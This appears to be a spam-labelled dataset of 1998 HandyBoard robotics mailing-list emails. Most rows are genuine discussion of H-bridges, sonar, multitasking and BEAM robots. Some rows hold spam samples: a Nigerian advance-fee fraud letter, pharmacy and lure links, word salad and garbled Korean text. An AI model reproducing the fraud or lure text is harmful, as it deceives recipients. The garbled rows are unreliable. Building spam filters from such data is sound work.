Tatoosh --Steven Wright ",0,0 Patrick Cutts ,HandyBoard ,"Tue, 17 Mar 1998 21:11:54 -0800",Re: Power,"I didn't see the program, but I have an article my brother cut out of a newspaper and sent me, the guy's name is Mark Tilden, he makes all his robots out of old walkmans and pagers etc. I find his claims kind of hard to believe also. He has a website at: http://nis-www.lanl.gov/robot/ -patrick > >Jeroen van der Vegt, >A.J.vanderVegt@ITS.TUDelft.nl > > > I saw a program on robotics a while ago on Discovery, and there was a guy > who builded a complete zoo of robots consisting of only a couple of > transistors. They did move indeed, but he said they were adapting to their > environment, which I find hard to believe. > ",0,1 Irene Huckaby ,lindsay@aleve.media.mit.edu,"Tue, 17 Mar 1998 23:07:08 -0500",putting depression on a backburner,"it's kaiser may roommate see lateral the cryptanalysis in proviso ",1,0 Lily Gourley ,handyboard@media.mit.edu,"Wed, 18 Mar 1998 00:05:35 -0500",putting lot of stress?,"it's bacterial not buildup may baton , rafferty not curbside ",1,0 robert mark ,,"Wed, 18 Mar 1998 05:10:10 +0100",REPLY IMMEDIATELY,"RE: TRANSFER OF ($42,000.000.00 USD).My name is MR.Robert Mark; I am the operational manager in account Section in charge of credit and foreign bills of one of the prime banks Here in Nigeria. I am writing in respect of a foreign customer of my Bank (MR. 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Im assuming this is a battery issue. > Is there any way to boost the power tot he motors so that they will run > for at least half an hour without killing the handyboard? Should I just go > looking for something with smaller motors? The ones im using are just the > standard little ones. If you guys know anything, I'de appreciate that. > > Also..I watched Robots Rising on the discovery channel. Cool stuff... > Has any out there doing any thing with analog robotics using only > transistors and the like? > > Thanks! > Richard > > ",0,1 """Craig Maynard (EE)"" ",Patrick Cutts ,"Wed, 18 Mar 1998 09:08:05 -0700",Re: Power," I've built a few of his machines myself. The ""Neural Net"" is a 74ls244 set up as a shift register with RC networks between each stage. The walkers go forward ok, but can't turn or back up. Mark Tilden's very talented at mechanical design, though! Craig On Tue, 17 Mar 1998, Patrick Cutts wrote: > I didn't see the program, but I have an article my brother cut out of a > newspaper and sent me, the guy's name is Mark Tilden, he makes all his > robots out of old walkmans and pagers etc. I find his claims kind of hard > to believe also. He has a website at: > http://nis-www.lanl.gov/robot/ > > -patrick > > > > > >Jeroen van der Vegt, > >A.J.vanderVegt@ITS.TUDelft.nl > > > > > > I saw a program on robotics a while ago on Discovery, and there was a guy > > who builded a complete zoo of robots consisting of only a couple of > > transistors. They did move indeed, but he said they were adapting to > their > > environment, which I find hard to believe. > > > ",0,1 Richard ,handyboard@media.mit.edu,"Wed, 18 Mar 1998 10:47:28 -0800",H-Bridge,"It is clear to me that if i even attempted any work with construction and installation of a H Bridge for my handyboard it would be left a blackened, smoldering wreck. So this is my question.....is there any where to get a preassembled H-bridge from somewhere? I looked over the schematics and was pretty confused. -Richard ",0,0 Frangois ,'Handyboard Mailing List' ,"Wed, 18 Mar 1998 22:19:09 +0100",H-Bridge,"Hello, I am also searching for a preassembled H-Bridge (12 Volt max 10 Amp in continuous mode). If anyone knows a good place to order one, I would be very interested. (We already tried to build the H-Bridge from Chuck Mac Manis but its components don't exist in France or are too expensive) Thanks François ",0,0 Colin Barnard ,Richard ,"Wed, 18 Mar 1998 22:04:29 +0000",Re: Power,"Richard wrote: > Also..I watched Robots Rising on the discovery channel. > Cool stuff... > Has any out there doing any thing with analog robotics > using only > transistors and the like? Ah, that takes me back a bit. I built one in the late 60's from plans in Practical Electronics, used about 40 transistors and mechano bits. Its collision avoidance sensor was based around an OCP71 photo transistor mounted in an old Pifco torch reflector. It wandered around on its little motors and avoided bumping into things. Robotics has certainly come a long way in the last 30 years hasn't it? Or if you want to go back even further check out Grey Walter's Turtles, circa 1950, a couple of valves (tubes to you transatlantic types) and they demonstrated primitive behaviours. Colin",0,0 marco antonio assfalk oliveira ,François ,"Wed, 18 Mar 1998 15:57:47 -0700",Re: H-Bridge," Hello François, HandyBoard group, We had a similar problem when we tried using an R/C model as a mobile base platform for our robot. Searching the net turned up the LMD18200 (3A, 55V H-Bridge) from National Semiconductors, which was suitable for our needs (http://www.national.com/pf/LM/LMD18200.html). It can be ordered from Wirz Electronics (http://wirz.com/motor/board.html) I believe that the 10A continuous mode you require would increase the size of the component considerably. Do you have size/weight restrictions? Marco A.A. de Oliveira assfalk@eece.unm.edu ------------------------------------------------------------ Research Asst. - Project Coordinator UNM/NASA ACE Center ACE SMART - Cooperative Robotics http://ace.unm.edu ------------------------------------------------------------ On Wed, 18 Mar 1998, François wrote: > Hello, > > I am also searching for a preassembled H-Bridge (12 Volt max 10 Amp in > continuous mode). > If anyone knows a good place to order one, I would be very interested. > (We already tried to build the H-Bridge from Chuck Mac Manis but its > components don't exist in France or are too expensive) > > Thanks > François > ",0,1 Sudeshna Banerjee ,Handyboard MIT ,"Wed, 18 Mar 1998 19:13:03 -0600",defer() ??,"Hi ! Does anybody know how the defer() function works ? Also, what are its applications ? Thanks, Sudeshna * %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% * * * * Sudeshna Banerjee, * * E-mail :sxbanerj@cs.twsu.edu * * @ee.twsu.edu * * * * %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% * ",0,0 Will Bain ,handyboard@media.mit.edu,"Wed, 18 Mar 1998 19:57:01 -0700",defer() ??,"At 07:13 PM 3/18/98 -0600, Sudeshna wrote: >Hi ! > >Does anybody know how the defer() function works ? Also, what are its >applications ? The defer function is used in multithreaded programs when one process doesn't require all the processor cycles that it would ordinarily be allotted. Typically, if you have multiple processes (threads, tasks, whatever) running at the same time, the system ordinarily cycles through them one at a time, giving each one a few clock cycles (I believe the default is five). If you have one thread that doesn't require many cycles, and you know that it can afford to wait 'til its next turn in the sequence before it needs to do more work, then you defer that thread, and in that way it politely relinquishes the rest of its turn to whichever process comes next. It can be thought of as a way to lower the priority of a particular process; a similar effect could be obtained by specifying fewer than the default number of cycles to a process when you create it (see the HB Tech. Reference for the exact syntax of process creation). Here's an example: Say you have three processes--A, B & C--and you create B such that it gets 10 cycles per turn, and C such that it gets 20 cycles per turn. Process A gets the default 5 cycles per turn. Now suppose that the code in process B performs a test, and if the test comes up negative (which happens, say, about half the time) the process defers itself after only five cycles, and if it comes up positive, it defers after nine cycles. In that case, you might get the following allotment of CPU cycles: A B C ---- ---- ---- 5 9 20 5 5 20 5 5 20 5 9 20 5 9 20 5 5 20 So the result in this example is that process B never actually uses its whole ten cycles each time it has its turn. Now this is an artificial example in that most processes will probably require more than nine cycles to do a useful test and accomplish anything, but by making B defer, the other processes don't have to wait quite so long, which can make the program as a whole run more efficiently. Hope that answers your question, and if I'm wrong about any of this, I hope someone else posts a correction. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 """MSI: Sean Cunningham"" ",'Handyboard Mailing List' ,"Wed, 18 Mar 1998 19:06:15 -0800",RE: H-Bridge,"This suggestion isn't even close to what you require, but it may meet the needs of others on the list who are looking for an alternative H-bridge: http://www.solutions-cubed.com/Products/Motormind%20B/mmb.htm It can go to 3.5A at 35vdc, and is serially controlled. I don't think it would be hard to build a pic interface to the HB if serial control was ineffective for some reason. > -----Original Message----- > From: François [mailto:moonfish@club-internet.fr] > Sent: Wednesday, March 18, 1998 1:19 PM > To: 'Handyboard Mailing List' > Subject: H-Bridge > > > Hello, > > I am also searching for a preassembled H-Bridge (12 Volt max 10 Amp in > continuous mode). > If anyone knows a good place to order one, I would be very interested. > (We already tried to build the H-Bridge from Chuck Mac Manis but its > components don't exist in France or are too expensive) > > Thanks > François > ",0,1 Richard ,handyboard@media.mit.edu,"Wed, 18 Mar 1998 20:24:21 -0800",H-Bridge,"Thanks everyone..Ill check those out. Im probably not going to do anything that requires soldering things on the handy board. Unfortunatly, im only borrowing this one. I'll just see if i can borrow a rover with less power hungry motors from the university. I think that getting smaller motors is about the last obstacle with our project on building an autonomous robot. Everything works great on the handyboard and sensor end of thing and I goofed around for an hour or so getting it to play the theme from the pink panther, looney tunes, or nothing at all depending on the inputs from the knob. This should go over well. The project has to be done in about 3 weeks and in about a month is this huge expo with all the different high schools. Robots impress people. I think we have good chances. -Richard ",0,0 Santiago ,LeVelle ,"Thu, 19 Mar 1998 02:24:38 +0200",You happy,"Hey LeVelle, Sorry for how long its been since we've talked. I take blame for that. I just wanted to share with you the place that made me better after my sickeness, http://www.saidsorrycanitbe.org/l9/. You should really give them a glance. Jerry code, him gets if their caught making out during Shindlers List. Elaine gets caught not leader as like was killed, the English Patient. They always get into trouble at Santiago ",1,1 Thomas Hauri ,François ,"Thu, 19 Mar 1998 08:03:53 +0100",Re: H-Bridge,"Hi talking about the H-Bridge.....we are building one here for a 1.5 kW motor with maximal power output of 2.2 kW. This one works with 400V but is also developped for a current of a little more than 10 A (actually 15A). It will be chopped with a frequency of up to 25kHz. The main problem is not the voltage, it's the current and the frequency. Switching high currents fast means that you will get switching loses. All I wanna say is that you have to be careful. H-Bridges aren't that easy to build and if bought for industrial purposes pretty expansive. I don't think that there is an integrated 10A H-Bridge. I've found some 3A Bridges but they are really hard to get. Question : Does it have to be 10 A ???? If yes, you could use two or three 3A Bridges parallel. That's what we have done here for a robot. Try NS for those H.Bridges. François schrieb: > Hello, > > I am also searching for a preassembled H-Bridge (12 Volt max 10 Amp in > continuous mode). > If anyone knows a good place to order one, I would be very interested. > (We already tried to build the H-Bridge from Chuck Mac Manis but its > components don't exist in France or are too expensive) > > Thanks > François ",0,0 Domus ,handyboard@media.mit.edu,"Thu, 19 Mar 1998 00:54:23 -0300",Brasil Design � na Domus: 0800-600.6464,"...os profissionais e os amantes do bem viver a conhecer o novo catálogo, onde os talentos do Brasil encontram os protagonistas do século XX. www.ideadomus.com Se desejar não receber mais, envie um  e-mail para   ctrlnews@ideadomus.com com a mensagem/assunto REMOVER.",1,1 Darkman ,"handyboard@media.mit.edu, Will Bain ","Thu, 19 Mar 1998 10:18:37 -0500",Re: Polaroid sonar connector ,"Easy solution. Why waste so much time looking for connectors. Just remove the connector and solder some wires to the board and run those wires to whatever kind of connector you want! -----Original Message----- From: Will Bain To: handyboard@media.mit.edu Date: Wednesday, March 18, 1998 12:19 AM Subject: Re: Polaroid sonar connector >At 09:44 AM 3/8/98 -0500, Fred Martin wrote: >>In the Polaroid manual, the connector is referred to as a ""Burndy 9 >>pin connector SLP9S-2"". >> >>I once spoke to someone at Polaroid who gave me the cross reference >>""JST 1B0579A"" (don't know if it's Burndy or not). >> >>I am pretty sure the cable is standard 1 mm flex cable, 9 conductor. >>Digikey has a bunch of these connectors but only even conductor >>counts! However, interpolating part numbers, the device should be >>Hirose Electric Co, Ltd.'s FH21-9S-1DSA. >> >>Will, please let us know what you come up with. > > >According to my measurements, the flat flex cable that comes with the >Polaroid kits is 1.25 mm (or 0.05""), so it would probably not be quite >compatible with the parts that Digikey offers. I looked exhaustively >through the Digikey offerings, but only found 0.1"" and 1 mm flat flex >components. The only places I've seen the 1.25 mm series are on the Burndy >web site (www.burndy.com) and the Molex web site (www.molex.com), but these >two companies just make the parts--they don't sell 'em as far as I know. > >Since finding out that the connectors aren't really plugs but board >connectors instead, I've decided to find someone to sell me a couple more >Burndy SLP9S-2's (or equivalent) and some flat flex jumpers without the >connectors on the ends. That way, I can still have the modular connections >that I want without having to modify the components that are on loan to me. >I'll continue to document my progress, for the benefit of the few who follow >in my footsteps, and for the annoyance of those who couldn't care less ;) > >--Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, There's a fine line between fishing and >Will Bain, just standing on the shore like an idiot. >& Tatoosh --Steven Wright >",0,0 RLP55@webtv.net,handyboard@media.mit.edu,"Thu, 19 Mar 1998 12:07:47 -0500",mailing list,"Please remove me from your list> ",0,0 Richard ,handyboard@media.mit.edu,"Thu, 19 Mar 1998 12:58:47 -0800",IR input sensor," Hey! I was wondering if anyone has written any sort of fairly simple program that can detect another handyboard by using the IR input sensor. Does this require anything else besides maybe an analog IR sensor and the sensor on the board? If you could help me out, that would be great! -Richard ",0,0 Frangois ,'Handyboard Mailing List' ,"Thu, 19 Mar 1998 23:25:43 +0100",HBridge LMD18200,"Hello, First thanks for your answers regarding H-Bridges and especially the LM18200. This H-Bridges would be used with 12V DC motors which can sink up to 12Amp each and I have plenty of room to put them. But there is still something that puzle me : In the datasheet they said that the LM18200 is rated for 12V to 55V. Why not from 0V to 55V?. I mean if I want to slow my motor, the power apllied will have to decrease step by step to 0V. In my case I want to use the LMD18200 to drive a 12DC with a power suply evolving between 0 and12V by 0.1V steps. Thanks/Danke François ",0,0 Chuck McManis ,Frangois ,"Thu, 19 Mar 1998 16:11:41 -0800",Re: HBridge LMD18200,"Its a MOSFET based bridge, the Vgs potential needed to put the FETs into full enhancement mode is 11.2v or thereabouts. At lower voltages the FETs operate in their linear range (their Rds value goes up) and they dissipate much more heat. (As Rds goes up, I2R losses go up as well) --Chuck François wrote: > In the datasheet they said that the LM18200 is rated for 12V to 55V. > Why not from 0V to 55V?. ",0,0 ,,,,"On 19 Mar 1998 13:28:06 -0500, Mark Plaksin wrote: > Will there be any trouble with imapd and Y2K? A quick grep through the > source makes it looks like there will be no problems. I can only speak about the c-client based imapd (UW imapd) that I wrote. There are other imapd implementations in the world, and you will have to get information about that from their vendors. There are not now, and never have been, any known Y2K problems with my imapd. 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There are written terminal emulator programs and VISCA controller software for the Palmpilot, so I see some interesting uses for it if it can also be made to work with the handyboard. Thanks, hc gilje piXel Hans Christian Gilje Nedre Møllenberggt 9 N-7014 Trondheim Norway http://kit.trdkunst.no/stud/hc mail: hcg@trdkunst.no ",0,1 jluijk ,'Handyboard Mailing List' ,"Sat, 21 Mar 1998 17:57:11 +0000",Sonar.,"Hello, Like Hans Christian Gilje I am interested if anybody tried to connect a Psion (3A) to the handyboard? Also I want to ask if someone can hand me some ideas about troubleshooting the sonar 6500, it gives strange random values, and yes I did place the 0.1 uF capacitor. That is, I put a square shaped one in it, not a round one. There is this text on it: .1m100 Would that be ok ? Does it matter how you place these kind of capacitors (- , +) ? Thanks, Jan Luijk. ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 21 Mar 1998 12:21:47 -0700","""Adaptable"" robots","At 01:13 PM 3/17/98 +0100, Jeroen van der Vegt wrote: >I saw a program on robotics a while ago on Discovery, and there was a guy >who builded a complete zoo of robots consisting of only a couple of >transistors. They did move indeed, but he said they were adapting to their >environment, which I find hard to believe. I did a little research through the multitude of web sites devoted to BEAM robotics (Biology, Electronics, Aesthetics & Mechanics). It turns out that what they mean by ""adapting to their environment"" is that these insect-like walking robots automatically adjust their stride to different types of terrain (e.g. sand versus rock, or uphill versus downhill). Because they use simple analog electronic ""nervous systems"", they automatically get feedback from the leg motors to dynamically change the time domain response of the system, thus providing a robust, adaptable walking gait. Even HB 'bot builders like us could use this type of circuit to our advantage. By building dedicated nervous net circuits, we can free up our HBs for high-level, brain-type functions. This is how biological systems are designed, and a billion years of evolution can't be wrong. For an excellent tutorial on how to build and use this patented motor driver circuit (called a MicroCore), check out the following site: http://www.golden.net/~amiller/Microcore.htm --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Once, during Prohibition, I was forced to Will Bain, live for days on nothing but food and water. & Tatoosh --W. C. Fields",0,1 ���ķ� ,suresh@robotics.stanford.edu,"Sat, 21 Mar 1998 20:14:12 +0500",���׳� ��û ���г� ���� �Ա�,������ ����    1�� �� ��  ������ ��������  ������������ ����  ���� ������ ����  ���������� ������ �� �� �� ���� ����  ���� ������  ������  ��������  ����  �� �� ���� ��������  ������  ���������� �� ������ ������������  ������ ���������� ������,1,1 Will Bain ,handyboard@media.mit.edu,"Sat, 21 Mar 1998 14:30:21 -0700",Re: Connecting a second sonar module ,"In response to my question about connecting two Polaroid sonar modules to the HB... At 08:51 AM 2/5/98 -0500, Fred Martin wrote: >you might be able to get away with some signal multiplexing, assuming >you're only firing one sonar at a time. i could see the BINH being no >problem. For sharing the ECHO, make sure the polaroid outputs are >open collector so there isn't signal contention. Could someone please explain to an electronics bonehead like myself the following: (1) What is meant by open collector (and what is the alternative)? (2) How can I determine whether the Polaroid 6500 module ECHO output is open collector (the IC is a TL851 PID614904 DIGITAL, if that helps)? (3) What sort of signal contention might there be if it's not open collector, and could the situation be remedied with a couple diodes, like this? module 1____|\\|____ ECHO |/| \\ diode \\________Handy Board / Port A0/TIC3 module 2____|\\|____/ ECHO |/| diode (4) If the above boneheaded scheme were to work, what sort of diode would I use? (5) Would there be any problem splitting the BINH signal to go two modules like this? _______module 1 / BINH Handy Board____/\\ /\\ _____/ Port D4 \\/ \\/ \\ 1 kOhm \\_______module 2 BINH Thanks again to all the electronics experts out there who help keep us boneheads from frying our circuits more often than necessary. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, You can't say civilization isn't advancing; Will Bain, in every war they kill you in a new way. & Tatoosh --Will Rogers",0,0 Mike Downey ,handyboard@media.mit.edu,"Sat, 21 Mar 1998 17:30:37 -0600",vector 2x compass,"I am trying to wire up my vector 2x compass and i had a question. It looks as if everything is wired to the SPI port, however to actually poll the compass you need to make p/c go low (pin 5 on the compass) On the schematic it shows that i should connect this to U11 Pin 2 (motor controller), however i cant seem to find where this is located on the handy board. Could one of you guys point me in the right place? Also if anyone has any suggestions of things to be aware of, let me know. I would hate to fry a $50 part! :) Thanks Mike ",0,0 669@worldnet.att.net,"mdowney@optimizeinc.com, handyboard@media.mit.edu","Sat, 21 Mar 1998 19:46:00 -0600",Re: vector 2x compass,"Mike, U11 is the motor driver nearest the start button that drives motors 2 and 3. The #2 pin is the second pin back on the chip nearest the start button. See page #2 of the Handyboard assembling manual. I followed Tom Brusehaver instructions at the handyboard/software/contrib/tomb/readme Be carefull not to reverse any wires and you will do just fine. I have the v2x socketed on a pref board ,code loaded and the thing works just fine. When I type at the IC prompt v2x(); it constantly prints the current heading. My problem is not knowing enough about writing code. I would like my bot to go in one direction for a number of wheel rotations then another-----ect. I don't think the compass is going to work very well inside but should work fine outdoors. Please let me know when you when you get a workable code. If you could share a working code I could change variables to suite my needs. Good Luck Terry P. Gathright ---------- > From: Mike Downey > To: handyboard@media.mit.edu > Subject: vector 2x compass > Date: Saturday, March 21, 1998 5:30 PM > > I am trying to wire up my vector 2x compass and i had a question. It > looks as if everything is wired to the SPI port, however to actually > poll the compass you need to make p/c go low (pin 5 on the compass) > > On the schematic it shows that i should connect this to > U11 Pin 2 (motor controller), however i cant seem to find where this is > located on the handy board. Could one of you guys point me in the right > place? > > Also if anyone has any suggestions of things to be aware of, let me > know. I would hate to fry a $50 part! :) > > Thanks > Mike",0,0 Digitizing ,handyboard@media.mit.edu,"Sun, 22 Mar 1998 05:35:25 +0800",Re: Digitizing,"Dear Sir, This is Hifice Embroidery Digitizing Center from P.R.China. Professional digitizing price is: US$3.00 per 1,000 stitches ( Min. US$10.00 and Max. US$150.00 ). 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You wanna check out some of his papers.. follow some of these BEAM related links: http://www2.xtdl.com/~bushbo/beam/main.html http://www.golden.net/~amiller/ http://mh101.infi.net/~wtnewton/otherwld/ I can't wait to build one or two of these critters! -Dave * RM 1.2 * Eval Day 176 * RoboMail -- The ultimate QWK compatible message man ger. ",0,1 Mike Chang ,HandyBoard ,"Sun, 22 Mar 1998 16:16:54 -0800",Help reading pulsewidth.,"Hi all. Is there a way for me to read the pulsewidth comming out of a RC receiver? What I'm trying to do is to have an onboard Futaba R/C receiver just in case my bot gets into trouble that it can't get out of on it's own. I want to use my HB controlled robot to inspect the pipes under my house. I would hate to have to go under the house to retrieve it which is why I'm sending the robot in the first place. I figure that if I can read two channels of the receiver I could take direct control if need be. I have the video transmitter and color video camera pointing up at a 45 degree angle. If I could read four channels I could mount the camera on a pan and tilt platform and maybe use it as an emersive VR system. Thanks Mike ",0,0 Darth Vader ,"handyboard@media.mit.edu, hans christian gilje ","Sun, 22 Mar 1998 20:09:26 -0600",Re: handyboard and palmpilot,"yeah, I know what you mean... I have a TI-83 graphing calculator (www.ti.com) and have been thinking the same thing. Check up in your reference manual to see if it has anything on its protocols. My TI calculator uses an easy send and recieve variables, and also transmitts strings that you could store ahead of time. So, basicaklly, see how it sends information and then write up code for the HB to interpret your PalmPilots signals Phil phil@rent-a-nerd.com >Hello, >I was wondering whether it would be difficult to connect a handyboard with >a palmpilot (http://palm.3com.com/home.html). They both have serialports >and both can be connected to a mac or pc. >It could be interesting to be able to trigger external devices by using the >palmpilot and handyboard. >Unfortunately my technical knowledge isn´t sufficient to see if this would >be a lot of work to make it possible, or if it´s a simple programming task. >There are written terminal emulator programs and VISCA controller software >for the Palmpilot, so I see some interesting uses for it if it can also be >made to work with the handyboard. ",0,1 Will Bain ,handyboard@media.mit.edu,"Sun, 22 Mar 1998 22:43:45 -0700",Re: Help reading pulsewidth.,"At 04:16 PM 3/22/98 -0800, Mike Chang wrote: >Hi all. > >Is there a way for me to read the pulsewidth comming out of a RC >receiver? Sure. Use an oscilloscope. It seems to me that if you're looking to hook up the receiver to the HB, couldn't you instead just run the receiver output through a capacitor to smooth it out (and maybe a resistor to scale the voltage) and into an HB analog port, so that instead of a variable PWM signal you're basically just reading a variable DC voltage signal? Keep in mind, though: I'm an electronic neophyte, and so anything I suggest should be taken with a grain of salt about this big: | typical grain dimension | |<--------------------------->| | (actual size) | I think it's great that you have a practical application for your robot (inspecting the pipes under your house). Mine's just another way to annoy the cat, so far. Always glad hear from those who are doing something useful with their toys (like searching for land mines, etc.). Good luck. , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Idealism is fine, but as it approaches reality Will Bain, the cost becomes prohibitive. & Tatoosh --William F. Buckley, Jr.",0,0 Mike Chang ,HandyBoard ,"Sun, 22 Mar 1998 23:54:03 -0800",Re: Help reading pulsewidth. Duh!,"After sutdying the schmatics for an hour, I got up to get something to drink. When I came back I noticed that digital 1 is connected directly to the IC 1 input line and digital 2 goes to IC2 via a pullup resistor. It seems that the answer was right in front of my nose or something is playing a cruel joke and switched manuals on me. :-> I think I get a good accurate PW measurement through digital 1 providing that I set the input registers correctly. Am I correct in thinking this? Replys, good and bad are welcome. Thanks Mike ",0,0 John Vaughn ,Mike Chang ,"Mon, 23 Mar 1998 09:44:50 -0500",Re: Help reading pulsewidth.," Mike Chang wrote: > Hi all. > > Is there a way for me to read the pulsewidth comming out of a RC > receiver? Handy Boarders: I cannot resist putting in a couple of plugs here for two good related resources: 1) The 68HC11 Microcontroller by Joseph Greenfield. This comprehensive book has a very nice section on reading/writing to I/O ports using timer output compares with and without interrupts. It starts pretty much from scratch with lots of code segments included. Check it out. 2) A Radio-Controlled Car and a 68HC11 Microprocessor by Dean Hoyt in Circuit Cellar INK, Issue #78, January 1997. This article describes how to use a 68HC11 EVB to decode, read and store RC receiver pulses then replay them later to duplicate paths. By the way, Circuit Cellar INK is often a good resource for embedded micro articles involving robots. They have had numerous articles over the years on stepper motors, robot navigation, servos, etc. This month, #92 March, there is an article by the Newton Labs folks on their Cognachrome robot vision system and an article on robot power systems. -- ***************************************************************************** * John Vaughn Phone: 315-781-3906 * * Dept. of Math & Computer Science E-mail: vaughn@hws.edu * * Scandling 4085 Home: math.hws.edu/vaughn/index.html * * Hobart & William Smith Colleges Fax: 315-781-3587 * * Geneva, NY 14456 ""I don't include cute signature quotes"" * ***************************************************************************** ",0,0 �� ���� ,handyboard@media.mit.edu,"Mon, 23 Mar 1998 17:29:12 +0500",�ʰ��� �뤱���40�г��� �Ͼ���� å������ ó���ص帳�ϴ�s1,������ ���� ��������.   ������/������/������   ������ ������ ������   ������ ���������� 30���� ����   ������ ������ ����������,1,1 Marianna Ekker ,handyboard@media.mit.edu,"Mon, 23 Mar 1998 06:47:02 -0700",Re: your VALtyUM,"Hi V V C A P X L I A I m r a e A L A b o n v G I L i z a i R U I e a x t A M S n c ra http://www.itusttodas.com ----- Original Message ----- thought, but before long he was worrying too much about himself to remember the dwarves. He managed to keep his head above the water, but he was shivering with the cold, and he wondered if he would die of it before the luck turned, and how much longer he would be able to hang on, and whether he should risk the chance of letting go and trying to swim to the bank. ",1,1 """Prof. Martin GOLUMBIC"" ",THEORYNT@LISTSERV.NODAK.EDU,"Mon, 23 Mar 1998 15:12:40 -0800","Call for papers Workshop on KDD Bar-Ilan University May 20-21, 1998"," C A L L F O R P A P E R S A N D P R E S E N T A T I O N S Bar-Ilan Workshop on KDD -- Knowledge Discovery in Databases May 20-21, 1998 Bar-Ilan University, Ramat-Gan, Israel CALL FOR PAPERS/PRESENTATIONS The Bar-Ilan Research Institute for Computer Science will sponsor a workshop on Knowledge Discovery to be held May 20-21, 1998 at the university. Submissions of short papers or presentations from academia and industry are solicited in this Call. Invited hour speakers (to date): Haym Hirsh (Rutgers Univ.) Oren Etzioni (Univ. Washington) Ronen Feldman (Bar-Ilan Univ.) Simon Kasif (Univ. of Illinios, Chicago) Other participants to be announced. Knowledge discovery from data is a broad discipline that integrates methods from machine learning, statistics, databases, rule-based systems, and other areas. It includes algorithms for data selection, pattern discovery, clustering, managing uncertainty, and trend analysis. Submissions are invited for research papers and presentations. Topics to be covered include but are not limited to the following: Text Mining Pattern Matching for KDD Rule Extraction Algorithm Complexity and Lower Bounds Incremental Discovery Methods A short 1-3 page extended abstract should be sent to Prof. Martin Golumbic, (golumbic@cs.biu.ac.il) no later than April 20, 1998. Decisions for acceptance will be ongoing and usually within 2 weeks of the submission. An on-line proceedings of extended abstracts will be made available shortly before the workshop. ",0,0 """P. Fischer N. Klasner"" ",THEORYNT@LISTSERV.NODAK.EDU,"Mon, 23 Mar 1998 15:13:10 -0800",Conference Announcement: EUROCOLT �99,"CONFERENCE ANNOUNCEMENT and Preliminary CALL FOR PAPERS ------------------------------------------------------------- EEEEE U U RRRR OOO CCC OOO L TTTTT E U U R R O O C O O L T EEE U U RRRR O O C O O L T E U U R R O O C O O L T EEEEE UUU R R OOO CCC OOO LLLLL T 11 999 999 999 1 1 9 9 9 9 9 9 1 99 9 99 9 99 9 1 9 9 9 1 9 9 9 ------------------------------------------------------------- 4th European Conference on Computational Learning Theory University of Dortmund and Ruhr-University Bochum held at Nordkirchen Castle 28.-31. March 1999 http://poseidon.informatik.uni-dortmund.de/eurocolt/1999 ------------------------------------------------------------- The submission deadline has been TENTATIVELY scheduled 20. September 1998 More details on the WWW page. ============================= ------------------------------------------------------------- Program-Committee: Martin Anthony, London School of Economics Peter Auer, Technical University of Graz Shai Ben-David, Technion, Haifa Nader Bshouty, University of Calgary John Case, University of Delaware, Nicolo Cesa-Bianchi, University of Milano Paul Fischer, University of Dortmund Jyrki Kivinen, University of Helsinki Nick Littlestone, NEC Research Institute, Princeton Gabor Lugosi, Pompeu Fabra University, Barcelona Arun Sharma, University of New South Wales, Sydney Hans Ulrich Simon, Ruhr-University Bochum. Invited Speakers: Rob Schapire, AT & T Labs Richard Sutton, University of Massachusetts Paul Fischer, Hans Ulrich Simon (Organizers) ",0,1 Stefano Bistarelli ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 23 Mar 1998 15:18:00 -0800",3rd CP98 call for papers,"--------------------------------------------------------- Apologies if you receive this more than once! --------------------------------------------------------- --------------------------------------------------------------------- CALL FOR PAPERS -- CP98 --------------------------------------------------------------------- Fourth International Conference on Principles and Practice of Constraint Programming Pisa, Italy, October 26--30, 1998 http://www.di.unipi.it/cp98/ --------------------------------------------------------------------- Scope of the conference: ----------------------- Constraints have emerged as the basis of a representational and computational paradigm that draws from many disciplines and can be brought to bear on many problem domains. The conference is concerned with all aspects of computing with constraints including: algorithms, applications, environments, languages, models, systems. Contributions are welcome from any discipline concerned with constraints, including: artificial intelligence, combinatorial algorithms, computational logic, concurrent computation, databases, discrete mathematics, operations research, programming languages, symbolic computation. We also solicit papers from any domain employing constraints, including: computational linguistics, configuration, decision support, design, diagnosis, graphics, hardware verification, molecular biology, planning, qualitative reasoning, real-time systems, resource allocation, robotics, scheduling, software engineering, temporal reasoning, vision, visualization, user interfaces. Papers that bridge disciplines or combine theory and practice are especially welcome. Conference Chair: ----------------- Francesca Rossi, University of Pisa, rossi@di.unipi.it Program Co-Chairs: ------------------ Michael Maher Jean-Francois Puget School of Computing and Information Technology ILOG Griffith University 9 av. Verdun Nathan Queensland 4111 94253 Gentilly Australia France M.Maher@cit.gu.edu.au puget@ilog.fr Workshop chair: --------------- Roland Yap Dept. of Information Systems and Comp. Science National Univ. of Singapore Lower Kent Ridge Road Singapore 119260 Republic of Singapore ryap@iscs.nus.edu.sg Program Committee: ------------------ Peter van Beek (Univ. of Alberta), Christian Bessiere (LIRMM-CNRS), Alexander Bockmayr (MPI), Alex Brodsky (George Mason Univ.), Yves Caseau (Bouygues), Philippe Codognet (INRIA and Sony CSL), Rina Dechter (UC Irvine), Yves Deville (Univ. Cath. de Louvain), Boi Faltings (LIA-EPFL), Maurizio 